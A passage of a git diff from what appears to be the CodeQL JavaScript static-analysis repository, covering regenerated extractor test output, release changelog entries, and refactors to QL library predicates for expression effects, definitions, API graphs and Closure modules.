+successor(#20262,#20314) +successor(#20258,#20264) +successor(#20366,#20258) numlines(#10000,29,15,8) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap b/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap index 0e766cf77b9..27b075f05c7 100644 --- a/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/thisparameter.ts.trap @@ -425,146 +425,146 @@ hasLocation(#20001,#20158) variables(#20159,"declaration",#20000) #20160=@"var;{f};{#20000}" variables(#20160,"f",#20000) -#20161=@"var;{C};{#20000}" -variables(#20161,"C",#20000) -#20162=@"local_type_name;{C};{#20000}" -local_type_names(#20162,"C",#20000) -#20163=@"local_type_name;{I};{#20000}" -local_type_names(#20163,"I",#20000) -#20164=* -stmts(#20164,17,#20001,0,"functio ... ber) {}") -hasLocation(#20164,#20003) -stmt_containers(#20164,#20001) +#20161=@"var;{ambient};{#20000}" +variables(#20161,"ambient",#20000) +#20162=@"var;{C};{#20000}" +variables(#20162,"C",#20000) +#20163=@"local_type_name;{C};{#20000}" +local_type_names(#20163,"C",#20000) +#20164=@"local_type_name;{I};{#20000}" +local_type_names(#20164,"I",#20000) #20165=* -exprs(#20165,78,#20164,-1,"declaration") -hasLocation(#20165,#20033) -expr_containers(#20165,#20164) -literals("declaration","declaration",#20165) -decl(#20165,#20159) +stmts(#20165,17,#20001,0,"functio ... ber) {}") +hasLocation(#20165,#20003) +stmt_containers(#20165,#20001) #20166=* -scopes(#20166,1) -scopenodes(#20164,#20166) -scopenesting(#20166,#20000) -#20167=@"var;{x};{#20166}" -variables(#20167,"x",#20166) -#20168=* -exprs(#20168,78,#20164,0,"x") -hasLocation(#20168,#20045) -expr_containers(#20168,#20164) -literals("x","x",#20168) -decl(#20168,#20167) -#20169=@"var;{arguments};{#20166}" -variables(#20169,"arguments",#20166) -is_arguments_object(#20169) -#20170=* -typeexprs(#20170,2,#20164,-4,"void") -hasLocation(#20170,#20041) -expr_containers(#20170,#20164) -literals("void","void",#20170) +exprs(#20166,78,#20165,-1,"declaration") +hasLocation(#20166,#20033) +expr_containers(#20166,#20165) +literals("declaration","declaration",#20166) +decl(#20166,#20159) +#20167=* +scopes(#20167,1) +scopenodes(#20165,#20167) +scopenesting(#20167,#20000) +#20168=@"var;{x};{#20167}" +variables(#20168,"x",#20167) +#20169=* +exprs(#20169,78,#20165,0,"x") +hasLocation(#20169,#20045) +expr_containers(#20169,#20165) +literals("x","x",#20169) +decl(#20169,#20168) +#20170=@"var;{arguments};{#20167}" +variables(#20170,"arguments",#20167) +is_arguments_object(#20170) #20171=* -typeexprs(#20171,2,#20164,-6,"number") -hasLocation(#20171,#20049) -expr_containers(#20171,#20164) -literals("number","number",#20171) +typeexprs(#20171,2,#20165,-4,"void") +hasLocation(#20171,#20041) +expr_containers(#20171,#20165) +literals("void","void",#20171) #20172=* -stmts(#20172,1,#20164,-2,"{}") -#20173=@"loc,{#10000},1,45,1,46" -locations_default(#20173,#10000,1,45,1,46) -hasLocation(#20172,#20173) -stmt_containers(#20172,#20164) -#20174=* -stmts(#20174,18,#20001,1,"var f = ... ber) {}") -hasLocation(#20174,#20007) -stmt_containers(#20174,#20001) +typeexprs(#20172,2,#20165,-6,"number") +hasLocation(#20172,#20049) +expr_containers(#20172,#20165) +literals("number","number",#20172) +#20173=* +stmts(#20173,1,#20165,-2,"{}") +#20174=@"loc,{#10000},1,45,1,46" +locations_default(#20174,#10000,1,45,1,46) +hasLocation(#20173,#20174) +stmt_containers(#20173,#20165) #20175=* -exprs(#20175,64,#20174,0,"f = fun ... ber) {}") -#20176=@"loc,{#10000},3,5,3,44" -locations_default(#20176,#10000,3,5,3,44) -hasLocation(#20175,#20176) -enclosing_stmt(#20175,#20174) -expr_containers(#20175,#20001) -#20177=* -exprs(#20177,78,#20175,0,"f") -hasLocation(#20177,#20059) -enclosing_stmt(#20177,#20174) -expr_containers(#20177,#20001) -literals("f","f",#20177) -decl(#20177,#20160) +stmts(#20175,18,#20001,1,"var f = ... ber) {}") +hasLocation(#20175,#20007) +stmt_containers(#20175,#20001) +#20176=* +exprs(#20176,64,#20175,0,"f = fun ... ber) {}") +#20177=@"loc,{#10000},3,5,3,44" +locations_default(#20177,#10000,3,5,3,44) +hasLocation(#20176,#20177) +enclosing_stmt(#20176,#20175) +expr_containers(#20176,#20001) #20178=* -exprs(#20178,9,#20175,1,"functio ... ber) {}") -#20179=@"loc,{#10000},3,9,3,44" -locations_default(#20179,#10000,3,9,3,44) -hasLocation(#20178,#20179) -enclosing_stmt(#20178,#20174) +exprs(#20178,78,#20176,0,"f") +hasLocation(#20178,#20059) +enclosing_stmt(#20178,#20175) expr_containers(#20178,#20001) -#20180=* -scopes(#20180,1) -scopenodes(#20178,#20180) -scopenesting(#20180,#20000) -#20181=@"var;{x};{#20180}" -variables(#20181,"x",#20180) -#20182=* -exprs(#20182,78,#20178,0,"x") -hasLocation(#20182,#20075) -expr_containers(#20182,#20178) -literals("x","x",#20182) -decl(#20182,#20181) -#20183=@"var;{arguments};{#20180}" -variables(#20183,"arguments",#20180) -is_arguments_object(#20183) -#20184=* -typeexprs(#20184,2,#20178,-4,"string") -hasLocation(#20184,#20071) -expr_containers(#20184,#20178) -literals("string","string",#20184) +literals("f","f",#20178) +decl(#20178,#20160) +#20179=* +exprs(#20179,9,#20176,1,"functio ... ber) {}") +#20180=@"loc,{#10000},3,9,3,44" +locations_default(#20180,#10000,3,9,3,44) +hasLocation(#20179,#20180) +enclosing_stmt(#20179,#20175) +expr_containers(#20179,#20001) +#20181=* +scopes(#20181,1) +scopenodes(#20179,#20181) +scopenesting(#20181,#20000) +#20182=@"var;{x};{#20181}" +variables(#20182,"x",#20181) +#20183=* +exprs(#20183,78,#20179,0,"x") +hasLocation(#20183,#20075) +expr_containers(#20183,#20179) +literals("x","x",#20183) +decl(#20183,#20182) +#20184=@"var;{arguments};{#20181}" +variables(#20184,"arguments",#20181) +is_arguments_object(#20184) #20185=* -typeexprs(#20185,2,#20178,-6,"number") -hasLocation(#20185,#20079) -expr_containers(#20185,#20178) -literals("number","number",#20185) +typeexprs(#20185,2,#20179,-4,"string") +hasLocation(#20185,#20071) +expr_containers(#20185,#20179) +literals("string","string",#20185) #20186=* -stmts(#20186,1,#20178,-2,"{}") -#20187=@"loc,{#10000},3,43,3,44" -locations_default(#20187,#10000,3,43,3,44) -hasLocation(#20186,#20187) -stmt_containers(#20186,#20178) -#20188=* -stmts(#20188,17,#20001,2,"declare ... umber);") -hasLocation(#20188,#20011) -stmt_containers(#20188,#20001) -has_declare_keyword(#20188) +typeexprs(#20186,2,#20179,-6,"number") +hasLocation(#20186,#20079) +expr_containers(#20186,#20179) +literals("number","number",#20186) +#20187=* +stmts(#20187,1,#20179,-2,"{}") +#20188=@"loc,{#10000},3,43,3,44" +locations_default(#20188,#10000,3,43,3,44) +hasLocation(#20187,#20188) +stmt_containers(#20187,#20179) #20189=* -exprs(#20189,78,#20188,-1,"ambient") -hasLocation(#20189,#20091) -expr_containers(#20189,#20188) -literals("ambient","ambient",#20189) -#20190=@"var;{ambient};{#20000}" -variables(#20190,"ambient",#20000) -decl(#20189,#20190) +stmts(#20189,17,#20001,2,"declare ... umber);") +hasLocation(#20189,#20011) +stmt_containers(#20189,#20001) +has_declare_keyword(#20189) +#20190=* +exprs(#20190,78,#20189,-1,"ambient") +hasLocation(#20190,#20091) +expr_containers(#20190,#20189) +literals("ambient","ambient",#20190) +decl(#20190,#20161) #20191=* scopes(#20191,1) -scopenodes(#20188,#20191) +scopenodes(#20189,#20191) scopenesting(#20191,#20000) #20192=@"var;{x};{#20191}" variables(#20192,"x",#20191) #20193=* -exprs(#20193,78,#20188,0,"x") +exprs(#20193,78,#20189,0,"x") hasLocation(#20193,#20103) -expr_containers(#20193,#20188) +expr_containers(#20193,#20189) literals("x","x",#20193) decl(#20193,#20192) #20194=@"var;{arguments};{#20191}" variables(#20194,"arguments",#20191) is_arguments_object(#20194) #20195=* -typeexprs(#20195,2,#20188,-4,"string") +typeexprs(#20195,2,#20189,-4,"string") hasLocation(#20195,#20099) -expr_containers(#20195,#20188) +expr_containers(#20195,#20189) literals("string","string",#20195) #20196=* -typeexprs(#20196,2,#20188,-6,"number") +typeexprs(#20196,2,#20189,-6,"number") hasLocation(#20196,#20107) -expr_containers(#20196,#20188) +expr_containers(#20196,#20189) literals("number","number",#20196) #20197=* stmts(#20197,26,#20001,3,"class C ... C) {}\n}") @@ -578,8 +578,8 @@ hasLocation(#20199,#20115) enclosing_stmt(#20199,#20197) expr_containers(#20199,#20001) literals("C","C",#20199) -decl(#20199,#20161) -typedecl(#20199,#20162) +decl(#20199,#20162) +typedecl(#20199,#20163) #20200=* scopes(#20200,10) scopenodes(#20197,#20200) @@ -612,7 +612,7 @@ typeexprs(#20207,0,#20204,-4,"C") hasLocation(#20207,#20127) expr_containers(#20207,#20204) literals("C","C",#20207) -typebind(#20207,#20162) +typebind(#20207,#20163) #20208=* stmts(#20208,1,#20204,-2,"{}") #20209=@"loc,{#10000},8,19,8,20" @@ -660,7 +660,7 @@ hasLocation(#20219,#20138) enclosing_stmt(#20219,#20217) expr_containers(#20219,#20001) literals("I","I",#20219) -typedecl(#20219,#20163) +typedecl(#20219,#20164) #20220=* properties(#20220,#20217,2,0,"method(this: I);") #20221=@"loc,{#10000},12,3,12,18" @@ -689,7 +689,7 @@ typeexprs(#20226,0,#20223,-4,"I") hasLocation(#20226,#20150) expr_containers(#20226,#20223) literals("I","I",#20226) -typebind(#20226,#20163) +typebind(#20226,#20164) is_method(#20220) is_abstract_member(#20220) #20227=* @@ -729,37 +729,37 @@ successor(#20203,#20204) successor(#20201,#20212) successor(#20199,#20203) successor(#20197,#20217) -successor(#20188,#20199) -successor(#20174,#20177) -successor(#20178,#20175) +successor(#20189,#20199) +successor(#20175,#20178) +successor(#20179,#20176) #20236=* -entry_cfg_node(#20236,#20178) +entry_cfg_node(#20236,#20179) #20237=@"loc,{#10000},3,9,3,8" locations_default(#20237,#10000,3,9,3,8) hasLocation(#20236,#20237) #20238=* -exit_cfg_node(#20238,#20178) +exit_cfg_node(#20238,#20179) #20239=@"loc,{#10000},3,45,3,44" locations_default(#20239,#10000,3,45,3,44) hasLocation(#20238,#20239) -successor(#20186,#20238) -successor(#20182,#20186) -successor(#20236,#20182) -successor(#20177,#20178) -successor(#20175,#20188) -successor(#20164,#20174) +successor(#20187,#20238) +successor(#20183,#20187) +successor(#20236,#20183) +successor(#20178,#20179) +successor(#20176,#20189) +successor(#20165,#20175) #20240=* -entry_cfg_node(#20240,#20164) +entry_cfg_node(#20240,#20165) hasLocation(#20240,#20228) #20241=* -exit_cfg_node(#20241,#20164) +exit_cfg_node(#20241,#20165) #20242=@"loc,{#10000},1,47,1,46" locations_default(#20242,#10000,1,47,1,46) hasLocation(#20241,#20242) -successor(#20172,#20241) -successor(#20168,#20172) -successor(#20240,#20168) -successor(#20165,#20164) -successor(#20227,#20165) +successor(#20173,#20241) +successor(#20169,#20173) +successor(#20240,#20169) +successor(#20166,#20165) +successor(#20227,#20166) numlines(#10000,14,9,0) filetype(#10000,"typescript") diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index e4620badfc8..451a8b4bf27 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,4 +2,6 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql +ql/javascript/ql/src/Quality/UnhandledErrorInStreamPipeline.ql +ql/javascript/ql/src/RegExp/DuplicateCharacterInCharacterClass.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index 34c4df3d6fa..c80c3fc76da 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -147,4 +147,3 @@ ql/javascript/ql/src/meta/extraction-metrics/FileData.ql ql/javascript/ql/src/meta/extraction-metrics/MissingMetrics.ql ql/javascript/ql/src/meta/extraction-metrics/PhaseTimings.ql ql/javascript/ql/src/meta/types/TypedExprs.ql -ql/javascript/ql/src/meta/types/TypesWithQualifiedName.ql diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 2d7716b8393..0068a86fb4c 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,15 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. + +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. + ## 2.6.3 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index eff5fa7fc98..9813d9b32ed 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -22,6 +22,9 @@ predicate inVoidContext(Expr e) { ) ) or + // propagate void context through parenthesized expressions + inVoidContext(e.getParent().(ParExpr)) + or exists(SeqExpr seq, int i, int n | e = seq.getOperand(i) and n = seq.getNumOperands() @@ -129,6 +132,19 @@ predicate noSideEffects(Expr e) { ) } +/** + * Holds if `e` is a compound expression that may contain sub-expressions with side effects. + * We should not flag these directly as useless since we want to flag only the innermost + * expressions that actually have no effect. + */ +predicate isCompoundExpression(Expr e) { + e instanceof LogicalBinaryExpr + or + e instanceof SeqExpr + or + e instanceof ParExpr +} + /** * Holds if the expression `e` should be reported as having no effect. */ @@ -145,6 +161,7 @@ predicate hasNoEffect(Expr e) { not isDeclaration(e) and // exclude DOM properties, which sometimes have magical auto-update properties not isDomProperty(e.(PropAccess).getPropertyName()) and + not isCompoundExpression(e) and // exclude xUnit.js annotations not e instanceof XUnitAnnotation and // exclude common patterns that are most likely intentional @@ -157,7 +174,17 @@ predicate hasNoEffect(Expr e) { not exists(fe.getName()) ) and // exclude block-level flow type annotations. For example: `(name: empty)`. - not e.(ParExpr).getExpression().getLastToken().getNextToken().getValue() = ":" and + not exists(ParExpr parent | + e.getParent() = parent and + e.getLastToken().getNextToken().getValue() = ":" + ) and + // exclude expressions that are part of a conditional expression + not exists(ConditionalExpr cond | e = cond.getABranch() | + e instanceof NullLiteral or + e.(GlobalVarAccess).getName() = "undefined" or + e.(NumberLiteral).getIntValue() = 0 or + e instanceof VoidExpr + ) and // exclude the first statement of a try block not e = any(TryStmt stmt).getBody().getStmt(0).(ExprStmt).getExpr() and // exclude expressions that are alone in a file, and file doesn't contain a function. diff --git a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md b/javascript/ql/lib/change-notes/released/2.6.4.md similarity index 73% rename from javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md rename to javascript/ql/lib/change-notes/released/2.6.4.md index 2303d3d8c62..90658374635 100644 --- a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md +++ b/javascript/ql/lib/change-notes/released/2.6.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.4 + +### Minor Analysis Improvements + * Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. diff --git a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/released/2.6.5.md similarity index 74% rename from javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md rename to javascript/ql/lib/change-notes/released/2.6.5.md index f875f796415..ae1137dbc08 100644 --- a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md +++ b/javascript/ql/lib/change-notes/released/2.6.5.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.5 + +### Minor Analysis Improvements + * Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index e2457adb03c..b29c290895c 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.3 +lastReleaseVersion: 2.6.5 diff --git a/javascript/ql/lib/definitions.qll b/javascript/ql/lib/definitions.qll index 2cc9313d313..2f1c99b7c60 100644 --- a/javascript/ql/lib/definitions.qll +++ b/javascript/ql/lib/definitions.qll @@ -153,17 +153,7 @@ private predicate jsdocTypeLookup(JSDocNamedTypeExpr ref, AstNode decl, string k kind = "T" } -/** - * Gets an element, of kind `kind`, that element `e` uses, if any. - * - * The `kind` is a string representing what kind of use it is: - * - `"M"` for function and method calls - * - `"T"` for uses of types - * - `"V"` for variable accesses - * - `"I"` for imports - */ -cached -AstNode definitionOf(Locatable e, string kind) { +private AstNode definitionOfRaw(Locatable e, string kind) { variableDefLookup(e, result, kind) or // prefer definitions over declarations @@ -179,3 +169,46 @@ AstNode definitionOf(Locatable e, string kind) { or jsdocTypeLookup(e, result, kind) } + +/** Gets a more useful node to show for something that resolves to `node`. */ +private AstNode redirectOnce(AstNode node) { + exists(ConstructorDeclaration ctor | + ctor.isSynthetic() and + node = ctor.getBody() and + result = ctor.getDeclaringClass() + ) + or + exists(ClassDefinition cls | + node = cls and + result = cls.getIdentifier() + ) + or + exists(FunctionDeclStmt decl | + node = decl and + result = decl.getIdentifier() + ) + or + exists(MethodDeclaration member | + not member instanceof ConstructorDeclaration and + node = member.getBody() and + result = member.getNameExpr() + ) +} + +private AstNode redirect(AstNode node) { + node = definitionOfRaw(_, _) and + result = redirectOnce*(node) and + not exists(redirectOnce(result)) +} + +/** + * Gets an element, of kind `kind`, that element `e` uses, if any. + * + * The `kind` is a string representing what kind of use it is: + * - `"M"` for function and method calls + * - `"T"` for uses of types + * - `"V"` for variable accesses + * - `"I"` for imports + */ +cached +AstNode definitionOf(Locatable e, string kind) { result = redirect(definitionOfRaw(e, kind)) } diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 87fb92c5baf..b367ab88549 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.4-dev +version: 2.6.6-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 3e882251cbf..3bb04f2686b 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -649,11 +649,13 @@ module API { /** Gets a node corresponding to an import of module `m` without taking into account types from models. */ Node getAModuleImportRaw(string m) { result = Impl::MkModuleImport(m) or - result = Impl::MkModuleImport(m).(Node).getMember("default") + result = Impl::MkModuleImport(m).(Node).getMember("default") or + result = Impl::MkTypeUse(m, "") } /** Gets a node whose type has the given qualified name, not including types from models. */ Node getANodeOfTypeRaw(string moduleName, string exportedName) { + exportedName != "" and result = Impl::MkTypeUse(moduleName, exportedName).(Node).getInstance() or exportedName = "" and @@ -749,18 +751,14 @@ module API { MkModuleImport(string m) { imports(_, m) or - any(TypeAnnotation n).hasQualifiedName(m, _) - or - any(Type t).hasUnderlyingType(m, _) + any(TypeAnnotation n).hasUnderlyingType(m, _) } or MkClassInstance(DataFlow::ClassNode cls) { needsDefNode(cls) } or MkDef(DataFlow::Node nd) { rhs(_, _, nd) } or MkUse(DataFlow::Node nd) { use(_, _, nd) } or /** A use of a TypeScript type. */ MkTypeUse(string moduleName, string exportName) { - any(TypeAnnotation n).hasQualifiedName(moduleName, exportName) - or - any(Type t).hasUnderlyingType(moduleName, exportName) + any(TypeAnnotation n).hasUnderlyingType(moduleName, exportName) } or MkSyntheticCallbackArg(DataFlow::Node src, int bound, DataFlow::InvokeNode nd) { trackUseNode(src, true, bound, "").flowsTo(nd.getCalleeNode()) diff --git a/javascript/ql/lib/semmle/javascript/Closure.qll b/javascript/ql/lib/semmle/javascript/Closure.qll index 40aee266379..c3169833339 100644 --- a/javascript/ql/lib/semmle/javascript/Closure.qll +++ b/javascript/ql/lib/semmle/javascript/Closure.qll @@ -5,17 +5,49 @@ import javascript module Closure { + /** A call to `goog.require` */ + class RequireCallExpr extends CallExpr { + RequireCallExpr() { this.getCallee().(PropAccess).getQualifiedName() = "goog.require" } + + /** Gets the imported namespace name. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + } + + /** A call to `goog.provide` */ + class ProvideCallExpr extends CallExpr { + ProvideCallExpr() { this.getCallee().(PropAccess).getQualifiedName() = "goog.provide" } + + /** Gets the imported namespace name. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + } + + /** A call to `goog.module` or `goog.declareModuleId`. */ + private class ModuleDeclarationCall extends CallExpr { + private string kind; + + ModuleDeclarationCall() { + this.getCallee().(PropAccess).getQualifiedName() = kind and + kind = ["goog.module", "goog.declareModuleId"] + } + + /** Gets the declared namespace. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + + /** Gets the string `goog.module` or `goog.declareModuleId` depending on which method is being called. */ + string getModuleKind() { result = kind } + } + /** * A reference to a Closure namespace. */ - class ClosureNamespaceRef extends DataFlow::Node instanceof ClosureNamespaceRef::Range { + deprecated class ClosureNamespaceRef extends DataFlow::Node instanceof ClosureNamespaceRef::Range { /** * Gets the namespace being referenced. */ string getClosureNamespace() { result = super.getClosureNamespace() } } - module ClosureNamespaceRef { + deprecated module ClosureNamespaceRef { /** * A reference to a Closure namespace. * @@ -32,10 +64,10 @@ module Closure { /** * A data flow node that returns the value of a closure namespace. */ - class ClosureNamespaceAccess extends ClosureNamespaceRef instanceof ClosureNamespaceAccess::Range { - } + deprecated class ClosureNamespaceAccess extends ClosureNamespaceRef instanceof ClosureNamespaceAccess::Range + { } - module ClosureNamespaceAccess { + deprecated module ClosureNamespaceAccess { /** * A data flow node that returns the value of a closure namespace. * @@ -47,7 +79,7 @@ module Closure { /** * A call to a method on the `goog.` namespace, as a closure reference. */ - abstract private class DefaultNamespaceRef extends DataFlow::MethodCallNode, + abstract deprecated private class DefaultNamespaceRef extends DataFlow::MethodCallNode, ClosureNamespaceRef::Range { DefaultNamespaceRef() { this = DataFlow::globalVarRef("goog").getAMethodCall() } @@ -59,14 +91,14 @@ module Closure { * Holds if `node` is the data flow node corresponding to the expression in * a top-level expression statement. */ - private predicate isTopLevelExpr(DataFlow::Node node) { + deprecated private predicate isTopLevelExpr(DataFlow::Node node) { any(TopLevel tl).getAChildStmt().(ExprStmt).getExpr().flow() = node } /** * A top-level call to `goog.provide`. */ - private class DefaultClosureProvideCall extends DefaultNamespaceRef { + deprecated private class DefaultClosureProvideCall extends DefaultNamespaceRef { DefaultClosureProvideCall() { this.getMethodName() = "provide" and isTopLevelExpr(this) @@ -76,13 +108,14 @@ module Closure { /** * A top-level call to `goog.provide`. */ - class ClosureProvideCall extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureProvideCall + deprecated class ClosureProvideCall extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureProvideCall { } /** * A call to `goog.require`. */ - private class DefaultClosureRequireCall extends DefaultNamespaceRef, ClosureNamespaceAccess::Range + deprecated private class DefaultClosureRequireCall extends DefaultNamespaceRef, + ClosureNamespaceAccess::Range { DefaultClosureRequireCall() { this.getMethodName() = "require" } } @@ -90,13 +123,13 @@ module Closure { /** * A call to `goog.require`. */ - class ClosureRequireCall extends ClosureNamespaceAccess, DataFlow::MethodCallNode instanceof DefaultClosureRequireCall + deprecated class ClosureRequireCall extends ClosureNamespaceAccess, DataFlow::MethodCallNode instanceof DefaultClosureRequireCall { } /** * A top-level call to `goog.module` or `goog.declareModuleId`. */ - private class DefaultClosureModuleDeclaration extends DefaultNamespaceRef { + deprecated private class DefaultClosureModuleDeclaration extends DefaultNamespaceRef { DefaultClosureModuleDeclaration() { (this.getMethodName() = "module" or this.getMethodName() = "declareModuleId") and isTopLevelExpr(this) @@ -106,41 +139,29 @@ module Closure { /** * A top-level call to `goog.module` or `goog.declareModuleId`. */ - class ClosureModuleDeclaration extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureModuleDeclaration + deprecated class ClosureModuleDeclaration extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureModuleDeclaration { } - private GlobalVariable googVariable() { variables(result, "goog", any(GlobalScope sc)) } - - pragma[nomagic] - private MethodCallExpr googModuleDeclExpr() { - result.getReceiver() = googVariable().getAnAccess() and - result.getMethodName() = ["module", "declareModuleId"] - } - - pragma[nomagic] - private MethodCallExpr googModuleDeclExprInContainer(StmtContainer container) { - result = googModuleDeclExpr() and - container = result.getContainer() - } - pragma[noinline] - private ClosureRequireCall getARequireInTopLevel(ClosureModule m) { result.getTopLevel() = m } + private RequireCallExpr getARequireInTopLevel(ClosureModule m) { result.getTopLevel() = m } /** * A module using the Closure module system, declared using `goog.module()` or `goog.declareModuleId()`. */ class ClosureModule extends Module { - ClosureModule() { exists(googModuleDeclExprInContainer(this)) } + private ModuleDeclarationCall decl; + + ClosureModule() { decl.getTopLevel() = this } /** * Gets the call to `goog.module` or `goog.declareModuleId` in this module. */ - ClosureModuleDeclaration getModuleDeclaration() { result.getTopLevel() = this } + deprecated ClosureModuleDeclaration getModuleDeclaration() { result.getTopLevel() = this } /** * Gets the namespace of this module. */ - string getClosureNamespace() { result = this.getModuleDeclaration().getClosureNamespace() } + string getClosureNamespace() { result = decl.getClosureNamespace() } override Module getAnImportedModule() { result.(ClosureModule).getClosureNamespace() = @@ -156,7 +177,7 @@ module Closure { * Has no result for ES6 modules using `goog.declareModuleId`. */ Variable getExportsVariable() { - this.getModuleDeclaration().getMethodName() = "module" and + decl.getModuleKind() = "goog.module" and result = this.getScope().getVariable("exports") } @@ -185,15 +206,15 @@ module Closure { ClosureScript() { not this instanceof ClosureModule and ( - any(ClosureProvideCall provide).getTopLevel() = this + any(ProvideCallExpr provide).getTopLevel() = this or - any(ClosureRequireCall require).getTopLevel() = this + any(RequireCallExpr require).getTopLevel() = this ) } /** Gets the identifier of a namespace required by this module. */ string getARequiredNamespace() { - exists(ClosureRequireCall require | + exists(RequireCallExpr require | require.getTopLevel() = this and result = require.getClosureNamespace() ) @@ -201,7 +222,7 @@ module Closure { /** Gets the identifer of a namespace provided by this module. */ string getAProvidedNamespace() { - exists(ClosureProvideCall require | + exists(ProvideCallExpr require | require.getTopLevel() = this and result = require.getClosureNamespace() ) @@ -213,7 +234,13 @@ module Closure { */ pragma[noinline] predicate isClosureNamespace(string name) { - exists(string namespace | namespace = any(ClosureNamespaceRef ref).getClosureNamespace() | + exists(string namespace | + namespace = + [ + any(RequireCallExpr ref).getClosureNamespace(), + any(ModuleDeclarationCall c).getClosureNamespace() + ] + | name = namespace.substring(0, namespace.indexOf(".")) or name = namespace diff --git a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll index 379403eb0ee..e7534449f55 100644 --- a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll +++ b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll @@ -180,6 +180,9 @@ deprecated private class LiteralImportPath extends PathExpr, ConstantString { * ``` */ class ImportSpecifier extends Expr, @import_specifier { + /** Gets the import declaration in which this specifier appears. */ + ImportDeclaration getImportDeclaration() { result.getASpecifier() = this } + /** Gets the imported symbol; undefined for default and namespace import specifiers. */ Identifier getImported() { result = this.getChildExpr(0) } diff --git a/javascript/ql/lib/semmle/javascript/Expr.qll b/javascript/ql/lib/semmle/javascript/Expr.qll index 8695c893f81..d7fe610b4f1 100644 --- a/javascript/ql/lib/semmle/javascript/Expr.qll +++ b/javascript/ql/lib/semmle/javascript/Expr.qll @@ -4,6 +4,7 @@ import javascript private import semmle.javascript.internal.CachedStages +private import semmle.javascript.internal.TypeResolution /** * A program element that is either an expression or a type annotation. @@ -1017,7 +1018,11 @@ class InvokeExpr extends @invokeexpr, Expr { * Note that the resolved function may be overridden in a subclass and thus is not * necessarily the actual target of this invocation at runtime. */ - Function getResolvedCallee() { result = this.getResolvedCalleeName().getImplementation() } + Function getResolvedCallee() { + TypeResolution::callTarget(this, result) + or + result = this.getResolvedCalleeName().getImplementation() + } } /** diff --git a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll index 35ba8cfe601..4a461961f8a 100644 --- a/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll +++ b/javascript/ql/lib/semmle/javascript/GlobalAccessPaths.qll @@ -34,7 +34,7 @@ module AccessPath { not this.accessesGlobal(_) and not this instanceof DataFlow::PropRead and not this instanceof PropertyProjection and - not this instanceof Closure::ClosureNamespaceAccess and + not this.asExpr() instanceof Closure::RequireCallExpr and not this = DataFlow::parameterNode(any(ImmediatelyInvokedFunctionExpr iife).getAParameter()) and not FlowSteps::identityFunctionStep(_, this) } @@ -139,8 +139,8 @@ module AccessPath { result = join(fromReference(prop.getBase(), root), 